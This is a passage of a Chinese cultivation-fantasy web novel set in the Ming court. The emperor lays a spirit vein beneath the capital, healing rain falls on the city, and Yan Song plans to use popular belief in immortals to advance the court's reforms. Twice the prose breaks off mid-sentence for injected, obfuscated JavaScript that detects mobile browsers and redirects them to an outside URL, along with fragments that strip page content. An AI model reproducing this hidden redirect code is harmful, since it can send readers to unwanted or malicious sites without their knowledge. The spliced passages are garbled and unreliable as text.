为了修仙家族的繁荣昌盛,严世蕃心中明白,若是真的触犯到了逆鳞,甚至是祸及家族的塌天大祸,老爹估计会舍了他。 当然此时,心生贪婪的不光是严世蕃,还有徐阶,高拱,张居正等人。 只要是人,只要是修仙者,面对如此之多的的灵源,都会出于本能的想要占为己有。 不过他们终究不是普通人,官场沉浮多年,这点自制力还是有的。 当然,对于张居正等人来说,此刻更让他们惊讶的还有别的,那就是赵贞吉竟然拥有着练气一层的行为,这着实让他们震惊。 尤其是张居正、高拱二人,看向赵贞吉的目光当中充满了诡异之色。 他们怎么也没有想到,原本以为的,比他们还要落后的赵贞吉,竟然不知不觉间早已是练气初期的修仙者,而且观其气息,甚至不在徐阁老之下,显然很早之前就已经开始修炼了。 如果不是这一次突然发生的变故,恐怕他们永远都不知道,赵贞吉隐藏的竟如此之深。 这些念头在张居正和高拱心中,仅仅是一闪而过,此刻他们也顾不上询问太多。 毕竟眼下还有更重要的事情等着他们去做。 “主子,我等已到了华盖殿,接下来该如何?”吕芳大声朝着天坑之下喊道。 “下来,随朕一起,铺设灵脉!”嘉靖不容拒绝的声音响起的瞬间,天坑之下陡然爆射出十几道流光,冲向众人。 当这些流光来到眼前时,众人才看清楚,其中包裹的,竟然是一道明黄色的符箓。 “是遁地符!”吕芳随口解释了一句,便当先朝着面前的天坑一跃而下。 之后,清风紧随其后,严嵩等人也没有迟疑,纷纷跃入天坑之中。 灵源龙卷爆发,地底直接被冲开百米,不,确切的说如今地下多少米,没人知晓。 此时地底百米处的空地,嘉靖神识爆发,同时本命大明已经出现,帝玺控制着下方的地脉蠕动,将那直冲地底伸出的灵源送上来。 同时,神识探入封印卷轴之中,化作两条粗壮无比的锁链,死死钉入那通体透明,洁白无瑕,好似被一层玉壳包裹的灵脉之中。 在嘉靖的感知中,这灵脉就像是一条鲜活的筋条,韧性十足,仿若有自己的意识一般。 神识锁链牵动下,它依旧不安的扭动身躯,似乎是要摆脱控制,想要冲出卷轴封印空间。 “这就是七品灵脉的强度吗!”嘉靖额头渗出道道冷汗。 此前,他以为独孤雄以筑基后期的修为,梳理九品灵脉轻松无比,就算之后又融入一条九品灵脉,依旧没有听他说有多么吃力,就以为以自己如今筑基后期的修为,再加上本命大明辅佐,牵制一条七灵脉应该不会有太大的难度。 然而事实却告诉他,七品灵脉,远比他想象中的,还要难以降服。 本以为有本命大明和帝玺从旁辅助,应该没有太大的变故。 然而结果却是,在卷轴封印破除的瞬间,仅仅是那些逸散的灵源,就让他险些自顾不暇。 这些灵源对于灵脉来说虽然不算什么,但如此庞大的灵源,如果就这么白白的进入地底,然后被大地吸收,这绝对是一大笔损失。 光是这么一小会的功夫,被大地吸收的灵源就足以培养出几名练气初期的修仙者了。 没办法之下,他不得不让吕芳等人前来,单靠自己一个人,应该是不能将灵脉完全铺设好了,只能用最笨拙的办法,让众人生按了! “皇上!”很快,吕芳等人便来到了地下一百米处的空地,看到了地底被冲开的巨大空间,饶是心底早已经有所准备的众人,此刻也不由被眼前的景象所深深的震撼。 地底百米处,整体空间呈现一个“中”字,头顶是百米透明的粘稠灵源龙卷,地底同样是旋转的灵源龙卷,深不可见入深渊。 而他们所处的中间位置,则是一个巨大空阔,甚至堪比奉天殿外的广场一般。 不过此时,最吸引他们注意的,还是中心那铺开,画着种种看不懂符文的卷轴。 此时那澎湃的灵源,就是从卷轴裂缝当中逸散而出,而在裂缝当中,他们隐约看到了两条透明的锁链延伸而出。 而锁链的另外一端,则是皇上的眉心位置,皇上似乎是在牵制着卷轴里的东西。 此刻不用猜,他们都知道,卷轴里的东西,必然就是那传说中的灵脉了。 当然,他们之所以能看到神识化成的锁链,主要是因为灵源附着在了神识上,这才让神识得以被他们用肉眼捕捉到。 “都免礼了,废话朕不多说,”嘉靖面色凝重地开始给众人分派任务,“吕芳,陆炳,这里除了朕之外,你二人修为最深!” 吕芳跟陆炳如今的修为都是练气二层。 虽然裕王、景王等人修炼也紧跟二人,但终究还是练气一层,尚未突破练气二层。 至于严嵩等人,想要突破,还早。 “接下来,朕会将一部分灵脉,先从卷轴当中抽出,然后按照事先刻画的路线开始铺设灵脉!”嘉靖说着,整个京城的本命部位出现,众人的目光也放在了那个巨大的“∞”图案上。 此刻,严嵩等人也从灵脉铺设路线上,看到了他们各自的府邸。 “你二人带领所有人,联手将灵脉抓牢,”嘉靖说着,语气微微一顿,又很是细致的道:“等同于是放绳子,朕在前牵绳,你们抓紧后面的绳子,莫要让它失控……可听明白了?” “是,奴婢一定会抓好灵脉!”吕芳严肃道,而听到这话,众人心中也是一凛。 “好!”点了点头,嘉靖不再废话,体内‘帝经’第二层功法运转到极致,一股炽热出现,众人顿时知道,皇上的灵气属性。 “喝!”嘉靖发出一声沉喝,同时整个人纵身一跃,脚下飞剑跟着出现。 神识化作的锁链“哗哗”作响,扯着卷轴里的灵脉,直接朝着铺设好的路线而去。 整个路线呈“∞”斜着从西南角和东南角摆放,因为西南角和东南角,各自有两个反向聚灵阵,因此嘉靖则以两个角为点,将整个 路线分成了四段,每一段是半个弧形。 而每个弧形上,又各自有四座反向聚灵阵,也就是说,算上两角的四座,总共有二十座。 不过此刻,嘉靖心中有的只是庆幸。 庆幸自己保险起见,在每一个弧形处都布置了四座反向聚灵阵。 如此一来,每一座反向聚灵阵都相当于是一个“卡扣”,只需要将灵脉按照每个“卡扣”的位置放置好禁锢死,它就不会“脱缰”。 若是为了省事,在每一个弧形上,只布置一座或两三座反向聚灵阵的话,那这个“卡扣”面对狂暴的七品灵脉,很有可能箍不住。 好在,他没有为省事而偷懒,还好! “轰!”灵脉被抽出的第一时间,更为狂暴的灵源冲出,直冲众人面门。 张大着嘴的严世蕃,更是在第一时间,正面吞下一大口灵源,紧跟着体内‘引气诀’像是被点燃的火药一般,开始疯狂运转。 狂暴的灵气冲入体内,险些让严世蕃一口气没提上来,只觉得周身经脉撕裂般的疼。 当然,此刻其他人的情况也没有比他好多少,不过负责牵制灵脉的吕芳和陆炳,却是没有给其他人太多的反应时间。 “抓紧了!”修为最强的吕芳第一时间看到那从卷轴裂缝当中冲出的,通体透明,被玉壳包裹的灵脉,第一个冲上去双手死死将其抱住。 “嘎吱吱!”虽然灵脉看上去,像是被坚硬的玉壳包裹着,但当手真正抓上去的时候,却是瞬间凹陷了下去,就像是人的皮肤一般。 其他人见状也不敢迟疑,纷纷朝着那粗壮无比的灵脉扑上去,然后死死抱着。 “都抓紧了!”吕芳死死抱着灵脉,感受着怀里那被玉壳包裹的恐怖能量,心头骇然不已,若是灵脉爆炸,恐怕无人能生还。 “跟上主子的动作,莫要让灵脉冲出去失控了!”吕芳用力牵扯着灵脉的同时回头吼道。 “好!”严嵩等人面色严肃,齐声应道,而后也跟着慢慢用力,让灵脉保持被嘉靖拉扯出去的同时,也不至于大面积的从卷轴当中涌出。 此时,灵脉在众人手中就好比一条巨长无比,韧性十足的绳子,嘉靖牵连着绳头,身后众人则是一点一点的放着绳子。 君臣齐心,通力合作,小心翼翼的开始铺设灵脉。 嘉靖神识化作的锁链扯动着灵脉,来到第一个弧形“卡扣”处,眼神一发狠体内功法运转的同时,死死朝着下方摁去! “轰!”随着灵脉第一小截被摁下,反向聚灵阵感受到灵气被灌入阵眼后,开始发动,继而就见璀璨的的光芒涌出。 一道道玄奥的金色符文凭空而出,瞬间将灵脉的开端包裹,禁锢在地面上。 看到这一幕,嘉靖心里暗松了一口气的同时,神识化作的两条锁链来到这一段弧形灵脉的四分之二处,然后扯动着,按部就班的铺设。 “轰!”这一段弧形的第二个“卡扣”,在灵脉拉过来的瞬间,阵法被激活。 这过程中,嘉靖始终保持着精神高度集中,生怕这其中出点什么意外,导致功亏一篑。 地底一百米处,本命大明的京城部分放大着,吕芳等人双眼死死盯着上面那个巨大的“∞”灵脉路线,看到第一个弧形已经完成四分之二的铺设,眼神中都有喜色浮动。 “轰!”然而就在这个时候,卷轴里的灵脉突然开始变得狂暴起来,它似乎是感应到了某种束缚一般,开始疯狂扭动身躯。 “都抓紧!”这突如其来的变动让吕芳等人神情一变,而后纷纷运转功法死死抱着怀里的灵脉,不让其对前面的嘉靖造成半分影响。 此刻嘉靖自然无暇顾及众人,他依旧精神高度集中,神识托着灵脉一点一点的磨着,往第一段弧形路线的第三个“卡扣”处摁去。 时间一分一秒过去,地底看不到阳光,只有灵脉发出的光芒,无法计算时辰。 而外界,灵源龙卷冲入天穹,引发滂沱大雨,很快乌云从京城出发,开始极速朝着整个顺天府范围内扩散开来,然后是整个北直隶。 灵源冲入天穹,云层与灵源接触,发生了某种催化一般的反应,不仅如此,整个地球的气候,都开始因为京城上空的云层而发生变化。 被灵源融合的云层,就像是被大火点燃的棉花一般,以比以往快十倍乃至数十倍的速度,在风的作用下,飞快的与其他云层接触。 原本京城上空蕴藏着浓郁灵源的云层也在飞速地不断地被稀释,分解到整个北直隶上空。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669391|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 当灵源冲入天穹越来越多,云层也开始碰撞,然后灵雨开始从天而降。 一时间,整个北直隶境内,从京城开始,其他州县,都开始下起了大小不同的雨。 当然,这些都不是重点,重点是灵雨落下,整个北直隶范围内,无数生灵都因此而得益,像是京城,灵雨浓郁,灵气扩散。 因此而获益的万物生灵更多,变化更大! 此时,胡宗宪,王崇古、俞大猷,还有神机营的指挥使,几人分别驻扎于京城四方。 胡宗宪三人还好说,像是神机营的指挥使,五城兵马司的将士们,此刻全都瞪大着双眼,不敢置信地看着自 身。 “我的伤,竟然好了?!”一个中年将士,解开自己手上的绷带,看着那已经结痂的伤口,发出惊呼,不敢置信的看着天上的雨水。 “还有我的,我昨日得了风寒,没想到淋了雨竟然好了!” “还有我,还有我,我有头疼的毛病,现在竟然也神奇的好了!” “都是这雨水的功劳!” “不,是皇宫方向,看那里,那巨大的龙吸水,一定是有神龙降临,才会降下圣水!” “没错,就是圣水,圣水,圣水……”一时间,五城兵马司和神机营的将士,还有此刻被调出来安抚百姓的捕快们全都是一片哗然。 甚至不少人都开始当众跪在了地上,张开双臂,仰着面,迎接着“圣水”的洗礼。 “我的眼疾,似乎也好了!”有百姓,听到街道上,将士们的欢呼,也顾不上其他了,纷纷冲出家门,开始欢呼起来。 然而看到这一幕的将士们,却是毫无动静,此刻他们早已忘记了指挥史说的,不允许百姓踏出家门一步的命令,此刻所有人全都沉浸在圣水的洗礼当中,哪里还能顾的上旁的! 当然,此刻不说这些将士,就连五城兵马司的指挥使,也全都开始卸甲、宽衣、毫不顾及旁人的,赤身站在雨水当中,迎接‘圣水’。 甚至,有人虔诚的跪在地上,眼巴巴的看着天穹深处,似乎想要看到他们心中猜测的那般,有神龙,或者是传说中的仙人降临。 “朝廷一直在骗我们,这世上有仙,有神!”突然,不知道是哪条街,哪个百姓,或者是将士,大喜之余突然喊了一嗓子。 一瞬间,所有人都不由的一怔,继而哗然一片! 讨论声也越来越大! 而后随着议论声越来越广,越来越大,以点为面,开始朝着整个京城辐射,蔓延。 此前他们就曾听闻,当年葬灭阴山的一战当中,天上就有仙人降临,后来经过钦天监解释,他们也只当那是一场祥瑞。 毕竟,国师已经预言过了。 之后,整个大明天穹之上,有巨大的,好似仙人一般的虚影俯瞰人间,他们再一次认为,这世上有仙人,开始虔诚跪拜,祷告。 然而再一次被钦天监辟谣。 事实就是,除了天穹之上有仙人的虚影浮现,俯瞰人间外,他们并没有收到半点实质性的好处,所以不久后便不了了之。 然而这一次,皇宫深处有“龙吸水”异象出现,继而天穹之上降下“圣水”,治愈所有人的疾病,这还不能说明问题吗? 这世上,真的有仙! 前两次累积的怀疑,终于在这第三次彻底爆发了。 不是说这世上没有仙人,没有神仙吗? 那眼前,皇宫深处那冲天而起的“龙吸水”异象,还有这突然而降,治愈所有人疾病,为众人消灾的“圣水”,这一幕幕神迹…… 又该如何解释?! 龙吸水是从皇宫出现的,难保不是朝廷早就知道了‘神仙’的存在? 生活在京城的百姓,要说是愚民那肯定不可能,至少他们知道眼见为实。 眼前看到的,感受到的,都在告诉他们这一切,绝对不是单纯的异象能解释的通的。 京城乱哄哄一片,胡宗宪三人此刻也早已经汇聚在了一起,商讨着对策。 “瞒不住了!”俞大猷看到胡宗宪跟王崇古的第一时间就面色凝重道:“现在百姓,五城兵马司的将士,还有神机营的士兵全都因为这灵雨而异动,纷纷跪地祈求仙神!” “主要是这灵雨落下,不少百姓不太严重的旧疾病痛,都在一瞬间被治愈,”王崇古拧着眉头,看向胡宗宪,道: “如此神异的一幕,任谁接触到都会如此的,何况百姓对仙神之说向来就心存敬畏……” “我知道!”不等王崇古把话说完,胡宗宪便抬了抬手示意,不必再说。 此时,胡宗宪的一张脸,也满是愁容。 尤其是看着城墙之下,那欢呼雀跃的百姓和将士们,面色更是难看无比。 “胡阁,”俞大猷拱了拱手,道:“你是严阁老的学生,跟在他身边想必学到了不少,我二人也是严阁老让你找来负责此次京城治安的。” “接下来该怎么做?你拿主意吧!” 一旁的王崇古也深吸一口气,道:“不错,虽然你我三人,同为内阁学士,但事急从权,胡阁,接下来你来发号施令吧!” 这倒不是说,王崇古和俞大猷二人,故意把事情推到胡宗宪的头上。 实在是这二人都是领兵打仗的好手,但相比于胡宗宪这个全方位的人才来说,眼下的情形,更适合由他来主持大局。 听到二人的话,胡宗宪没有说话,只是将目光看向城墙下,大雨中,闹哄哄一片的京城,眉头拧了拧后,首先看王崇古,沉声道: “王阁,你即刻找到神机营的指挥使,让他重整如今因为这‘圣水’而涣散的神机营将士,并找到五城兵马司的指挥使,维系秩序!” 而后看向俞大猷,道:“俞阁,你立刻去陆炳府上,找到锦衣卫指挥佥事陆绎,让他即刻从城外,调仙武卫入京!” “记 住,若是陆绎不在府上,你便入宫,从午门进去,看那个方向想必是皇宫中心,如今封锁宫门的,必然不是普通太监。” “你找到陈洪陈公公,或者是黄锦黄公公,让他们派两厂的人前来!” “是!”王崇古跟俞大猷对视一眼,对着胡宗宪严肃的一抱拳后转身大步离去。 看着二人离去的背影,胡宗宪抬眼,朝着皇宫中心的位置看去,望着那冲天的诡异龙卷,眸子中有深深的忧虑之色浮现。 “皇上此前说要在京城地下铺设灵脉,想必今日是铺设灵脉的过程中出现了意外,希望严阁老他们赶去可以控制住局面……” “范围如此之广的灵雨落下,若真的只是为将士们和百姓去除一些病痛和疾病的话倒也罢了,怕就怕这些灵雨化作灵水涌入地下,甚至是山间,若是让一些飞禽走兽吞服。” “那京城范围,不,甚至是整个顺天府,乃至于北直隶范围内,怕是要出现一些异兽了,如此一来,必然会引发不小的动荡。” “不过好在,如今的大明,早已没有了内忧和外患,就算有什么动荡,也是可以抹平。”想及此处,胡宗宪不由轻轻的呼出一口气。 “好在皇上圣明,解决了大明的内忧外患,让如今的大明,前所未有的强盛,若是在嘉靖四十年之前,那才是真正的麻烦……” “只是,变法尚未完成,灵气已然席卷京城,修仙还能瞒的下去吗?” “还,瞒吗?”胡宗宪心头浮现出一个大大的疑问。 “……” 第一百七十五章 严嵩的解决之法 夜。京城。 随着陆绎带仙武卫入城,五城兵马司的将领已经被以玩忽职守的罪名拿下。 之后胡宗宪、王崇古和俞大猷三人迅速控制局面。 至于闹哄哄的百姓,则是被重整的五城兵马司将士们全部赶回了家里,严禁外出一步。 一时间,原本闹哄哄一片的京城,总算是安静了下来,大街小巷全都是巡逻的士兵。 不过依旧有百姓透过窗户缝,朝着皇宫方向看去,同时跪在地上不断的祷告着什么。 他们也不知道向什么神,何方仙祷告,总之是漫天神佛,全都求了个遍。 至于那些将士们,虽然已经服从了命令,恢复了冷静,但看向皇宫方向的巨大诡异的水龙卷,依旧心存敬畏,同时心中也跟着默默祷告。 城墙一角,胡宗宪三人站定。 “局面算是控制住了,”王崇古抹了一把脸上的灵雨,看向身旁的胡宗宪跟俞大猷,二人道:“不过,这只是个开始。” 胡宗宪和俞大猷一听他这话,自然明白他话中潜在的意思是什么。 他们三人身为新党,更是军方在内阁当中绝对的权威,对如今大明发展的新军,还有灵兽大军这些绝对机密,都是心里清楚的。 灵兽大军,说白了就是大明的一个实验,通过驯服这些因为吃了灵物资源从而发生变异,拥有强大力量的野兽,可以被仙武卫驾驭。 但也正因,他们心里才清楚,如果今日所下的灵雨被野兽吸收,尤其还是如此之大的范围,那整个北直隶甚至是之外都将陷入混乱。 届时肯定会有不少百姓因此而丧命。 最重要的是,如果灵雨持续的时间太长,那么这些野兽变异后所获得的力量就会越强。 到了那时候,就算是普通的仙武卫,恐怕也不一定能战胜它们,大明现如今掌握的仙武卫,最强的不过是当年的第一批千户所。 如今也才后天三重境界。 突破先天境界的,算上宫里秘密培养的太监仙武卫,总共加起来,也才三个人。 这三个人,分别是千户陆绎、和一个百户、以及宫里石三公公手下的一个天才太监。至于这天才太监是谁,他们也不曾见过。 足以见得,这仙武卫突破先天有多难。 但是野兽变异,却没有所谓的境界壁垒一说,对于这些野兽来说,只要灵物资源足够,它们就会一直进化,变异下去。 这些年京城郊外,那片严家秘密掌控的灵地牧场里,不是没有做过让野兽无限制的变异下去,并且在每个阶段,都有详细的记录。 然而得出的结论就是,即便是现如今,仙武卫中最强的,先天一重境界的陆绎,也无法靠先天真元轻易战胜,最后无奈只能动用灵力。 其实,先天一重境界的仙武卫,单论战力的话,并不在练气一层的修仙者之下。 主要是当仙武卫的境界达到先天境之后,便可以吸收灵气从而在体内形成先天真元,再加上后天境开始补气血,锤炼肉身,强化从里到外的,而先天真元更是对筋骨皮肉也有增强。 若是练气期的修仙者,不懂得近身战斗和搏杀,也不懂得动用符箓和宝器的情况下,一旦被先天境的仙武卫近身怕是会很惨。 也正是因为如此,胡宗宪三人此刻才会担心不已。 如今下雨的范围,早已经超出了京城,朝着周边州县笼罩而去,若是再这样下去,不加以处理的话,很有可能会覆盖整个北直隶。 那时候,山间野兽,或是家禽变异,可就麻烦了。 地方上的捕快或者是军队根本不是对手。 “只希望皇上和严阁老他们,可以尽快稳住灵脉,收拾残局吧……”胡宗宪凝视着夜色下,灯火通明的皇宫,眉宇之间尽显忧虑之色。 一旁的王崇古和俞大猷二人,此时也是朝着华盖殿的方向看了过去,面色凝重的看着远处,那在暴雨中,散发着白光的冲天龙卷。 铺天盖地的雨幕,仿佛贯穿天地的透明状,诡异龙卷,散发着摄人心魄的白光。 这一夜的大明京城,充满了奇幻色彩。 此时,华盖殿,地下百米处。 “轰!”第四段灵脉路线的弧形处,第二十座反向聚灵阵,在嘉靖拼尽全力的镇压之下,终于将灵脉严丝合缝的死死扣住。 “咚!”而在灵脉被镇压的瞬间,整个华盖殿地下百米处,恐怖的灵气直接将地底冲开一个空阔地带,华盖殿地下百米,是整个灵脉路线的中心,也是多股灵脉汇聚之地,灵气最为浓郁。 当然,此时整个“∞”路线,覆盖了整个京城。凡是灵脉路线所经过之处,地下百米处的灵气都是最浓郁的。 “皇上!”此时,吕芳众人来到嘉靖跟前行礼。 “这次,有劳你们了,”嘉靖抬起手臂擦了擦,看着众人面露宽容之色,“否则,单靠朕一个人,可能还无法将这灵脉铺设好。” “为皇上分忧,为朝廷分忧,是臣等(奴婢)的职责所在!”听到皇上向自己等人道谢,严嵩等人顿时面色一变,纷纷弯腰躬身。 有些话皇上说是客气,但他们可不能当真。 “行了, ”见众人如此,嘉靖笑了笑也没有再说什么,只是摆了摆手,“想必京城现在已经是乱成了一锅粥,胡宗宪等人应该还等着你们回去拿主意,这里有朕就行了,都回去吧。” 灵脉是铺设完毕了,不过接下来还需要从灵脉拉出十几条支脉,通往大明各处。 这次严嵩等人前来支援,也让嘉靖意识到,尽快培养出一批练气中期,甚至是练气后期修仙者的必要性。 这次,这条七品灵脉可以被降服镇压,铺设完毕,这其中多少存在了一些幸运的成分。 当然其中更离不开的还是本命大明的辅助,以及严嵩等人的牵制,否则绝不会这么轻松。 好在刘权给的是一条七品灵脉,而不是六品,甚至是更高品阶,否则他怕是要把灵脉带回宗门才能收场了。 心中一动,嘉靖的目光看向不远处那依旧源源不断,从卷轴空间里涌出的灵源,帝玺从掌心飞出,下一刻上下地面开始愈合。 而那灵源龙卷也瞬间坍塌,然后回落,在嘉靖的意志下,化作一条奔腾的灵源长河,围绕华盖殿下方,也就是“∞”路线中心处旋转。 “倒是可以在这华盖殿下方,开一条地下灵源河,直通到太液池,将整个太液池弄成一片灵湖。”想着,嘉靖没有迟疑,帝玺开道,很快便在华盖殿地下,开通出一条河床,直通西苑。 不一会,这条灵源长河直接涌入太液池中。 外界在嘉靖将灵源龙卷收回的第一时间,顿时又引起了全城臣民的注意和哗然。 在他们看来,那就是这堪称神迹一般的“龙吸水”突然消失了,那是不是也意味,“神龙”或者是“神仙”已经离开了大明? 就连巡逻的士兵,也是下意识的抬头看去,没有让他们失望,原本的瓢泼大雨也开始减小,不一会儿的功夫便彻底消失不见。 天穹之上,乌云散去,明月露出。 柔和如水的夜色落下,仿若给整座京城,铺上了一层银色的轻纱一般。 不过此时,京城内的百姓却满是失望。 皇宫里的异象不见了,满天的“圣水”也跟着消失,这说明“神仙”果然离开了。 一片废墟的华盖殿上方,严嵩等人看着渐渐愈合的地面,还有消失的满天灵雨,面上却没有丝毫的轻松之色。 “严阁老,”这时,徐阶突然转身看向严嵩,“天地间的灵气有些浓郁啊……” 其他人闻言,也都是运转功法,感应了一番,确实天地间多了不少灵气,而且浓郁无比。 “灵脉布下,京城本就会充斥着灵气,”严嵩的语气温吞,道:“再加上此前灵源化作的“龙吸水”异象冲天而起,京城内灵雨瓢泼。” “空气当中残留着浓郁的灵气也属正常。”说完,严嵩语气微微一顿,先是看向裕王跟景王,躬身一礼后,又看向内阁和司礼监众人。 “今日灵脉失控,造成了京城上下震动,百官已经候在了奉天殿外……还有城中百姓,将士,必然也都被灵气所影响。” “皇上还有更重要的事要处理,这个时候,我等理应为皇上分忧。” “还是尽早拿出个应对之策,以免造成京城乃至于整个大明的动荡才是……” 听到严嵩如此说,裕王也沉着脸点了点头,然后看向严嵩,拱手道:“那依严阁老所言,当下该如何解决此次灵脉暴动,引发的动乱?” 听到裕王这么说,其他人也都看向严嵩。 毕竟严嵩才是内阁首辅,今天的事情闹得太大了,灵气的功效,他们也都清楚。 更何况今日灵雨乃是灵源稀释过的产物,普通人若是沾上,一些不太重的病痛都会消失。 此外就是京城内外,那些普通的野兽、家禽都会因为这一次沾染到灵雨从而变异,事情必然会在接下来一段时间彻底闹大。 按照原本的计划,大明需要等到变法结束,彻底打破王朝陈旧体制,才会对外一步步宣告,大明要步入仙朝。 今日发生的一切,可以说打了在场众人一个措手不及。所以,接下来就看严嵩这个内阁首辅,要怎么处理这件事了。 这种重大的决策,于情于理,于公于私,都应该是严嵩这个内阁首府来主持大局。 “呵呵,”然而在众人的目光注视之下,严嵩却表现得很是平常,只见他缓声笑着,道:“俗话说,祸福相依。” “此次灵脉暴动,虽然脱离了朝廷既定的计划,但也不失为一个机会。” 严嵩说话间,深吸了口微凉的空气,抬头看了看悬挂在夜空的明月,突然哼笑一声,然后便自顾自的抬脚,朝外走去。 众人见此,也抬脚跟了上去。 机会?他们不明白严嵩打算怎么做,不过都明白,严嵩既然表现得如此自信,那想必已然有了决断。 “按照原本的计划,我大明接下来所有的重心,便是‘启思革新’的国策推行,”严嵩说着,回头看了眼众人,道:“启思革新重在民众的思想转变,那么该如何让其思想转变呢?” 如何让民众的思想转变?在严嵩的目光注视下,内阁,司礼监等人,全都目露思索之色。 严世蕃提出的‘启思革新’ 国策,所有人都知道,就是为了打破自古以来,王朝陈旧体制。 而王朝成就体制是什么? 说得笼统一些,就是从古至今,无形之中所有王朝所默默遵守的一种规则。 可这种规则是什么呢? 它体现在方方面面,众人最直观的理解便是天下臣民的思想。 若是非要给这种思想找一个代表的话,那毫无疑问,就是“儒宗”思想了。 放在大明,或许还要加上一个“八股牢笼”之下的士人思想和对其向往的百姓。 加上一切乱七八糟的东西合成的规则,让人可以直观的感受到那一股无形中的陈腐气息。 “这次变法的目的,不是为了打破规则,而是为了破而后立,说白了就是脱胎换骨。从而,让这个时代变成,仙朝治下的时代!” “此次灵脉暴动,让京城乃至于整个北直隶的百姓都会相信,这世上有仙人存在。” “如此一来,朝廷再稍加以引导,并冠以仙之名,那么一切都会变得的非常容易……” 听到严嵩如此说,在场众人心头顿时恍然,在场众人都不是笨蛋,如何听不出严嵩的目的。 说白了,旧的规则想要成功打破,主要还是看百姓的。 举个最直白的例子,那就是让某个只会之乎者也的读书人,突然去学习经商,或是工匠手艺,又或者是庖厨烹饪,他能接受吗? 答案是否定的,就算朝廷允许,也不一定会有读书人主动站出来去学读书以外的东西。 因为这种行径,他们内心是无法接受的。认为这属于是离经叛道,朝廷允许又怎么了?就算朝廷允许,我继续读书还是最保险的! 这是种根本思想上的改变,除非个人自愿,否则外力强行改变,只会适得其反。 但自古以来,民众对仙神传说,就天然的心存敬畏,再加上有这一次的巨变,相信这世间存在仙神,百姓会更容易接受。 如此一来,朝廷推行变法,若冠以仙之名,那么久而久之,百姓就会发自内心的认同。 “想要对陈旧体制进行摧毁,就需要一种全新的思想,给予动摇根基的重击!” 严嵩说着,语气笃定而自信,道:“而修仙,就是最好的武器!” “严阁老英明!” 听完严嵩的话,众人纷纷拱手称赞。 “如此一来,面对接下来百姓的议论,朝廷也不需要阻止了,就算各地出现变异的灵兽,也只需让仙武卫出手斩杀即可。” “百姓也会越发的对世间存在仙神而深信不疑,朝廷变法冠以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669392|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙之名就可顺利推行,无形中将此次引发的动荡消弭于无形,不仅如此,反而给变法推行下去,做了助力。等到变法结束,世间有仙的印象,早已深入人心……” 张居正一边分析着的同时,一边看向严嵩的眼神中全是敬佩之色。其他人此刻看向严嵩的目光中,也有惊叹之色浮现。 当然,通过此事他们看到的更多。 严嵩此举,就是让朝廷不需要对这次的事情,出面做出任何的回应。 朝廷只需要在各地出现变异的灵兽,直接击杀,并且让百姓看到也无妨,百姓自会去脑补去理解,之后暗中加以推波助澜的引导。 于无声处,润物细无声。潜移默化的,就将百姓的思想扭转,改变。 甚至,不光是百姓,就算是朝廷官员,也会心中敬畏的同时,多有揣测。 从而更好的做好自己为官的本分! 只能说,不愧是严嵩! “不过接下来,可要劳烦仙武卫了。”说着,严嵩看向陆炳。 “此事,还需要向皇上禀报……”虽然陆炳也赞同严嵩此举,不过仙武卫没有皇上的允许,任何人没有资格调用的。 地面上,严嵩等人的商谈,嘉靖自然也全都听到了。 “父母之爱子则为之计深远,”说着,嘉靖不由轻笑,“严嵩为了严世蕃,当真是操尽了苦心,不过时也命也,也算是严世蕃好运。” “准了,”就在陆炳话音刚落,众人耳边,便响起嘉靖的平淡的声音,“今日起,成立‘大明仙武司’,陆炳任指挥使。大明仙武司规制,全部按照锦衣卫规制即可。” “谢皇上。”众人赶紧回身,朝着华盖殿方向躬身行礼。 先是“大明仙府”然后又是“大明仙武司”,朝廷什么都不需要对外解释,只需要用行动告诉世人,若是有仙,那也只有朝廷知晓。 如此一来,朝廷为变法冠以仙之名,将更具备说服力。 有些事情,就怕自己一个人细想,脑补。 若是朝廷不知晓仙人存在,也没有跟仙人有任何的接触,又怎么会突然建立什么‘大明仙府’和‘大明仙武司’呢? 这个时候,朝廷在顺势用仙之名,将变法的国策一条条推行,宣传下去,若是能顺势说一句,这些都是仙人的考验…效果会更好! 所有人都会为了得到仙人的青睐,得到仙缘,然后努力将事情做到最好。 一旁的严世蕃,看着老爹严嵩,一颗心都变得火热了起来。 说实话,虽然孔家被连根拔起,天下儒宗,也因此而变得群龙无首 。 可是关于变法,即便有老爹从旁帮衬,他心中依旧没有多少底。 正如老爹此前所说的,想要让百姓的思想彻底转变,并让整个天下接受其他学说,这很难。 但是此次灵脉暴动,从而让修仙再也瞒不住,本以为是另外一个麻烦,他变法本来就只剩下了四年时间,一个搞不好可能又要推迟。 没想到老爹居然可以将危机转为机遇! 一旦冠以仙之名变法,那无疑是给他变法,大大的减小了不少的难度。 其实严嵩此法,确实是存了天时、地利、人和运气成份在内的。 按照朝廷此前定好的计划,就算不暴露修仙,这变法也会按部就班的推行下去。甚至放在任何一个朝代都是一个理论上可行的变法之路。 可若是用严嵩的办法,冠以仙之名来推行变法,那就要考虑一个问题,世上是否真的有仙。 他一切的谋划都是建立在“仙”真的存在上,否则就是欺骗天下,朝廷颜面荡然无存,甚至是后世史书都会狠狠记上一笔荒唐二字! 可谁让这是大明呢?谁让真的修仙了呢? 所以嘉靖才会说,严嵩为了儿子操尽了心,严世蕃时运好。 既然已经拿定了主意,众人此前心里的担忧也尽数驱散,再想到接下来各自府上灵气将会比此前更加浓郁,心中反而轻快起来。 当众人行至奉天殿广场的时候,远远的就看到依旧在等候的六部、督察院等官员。 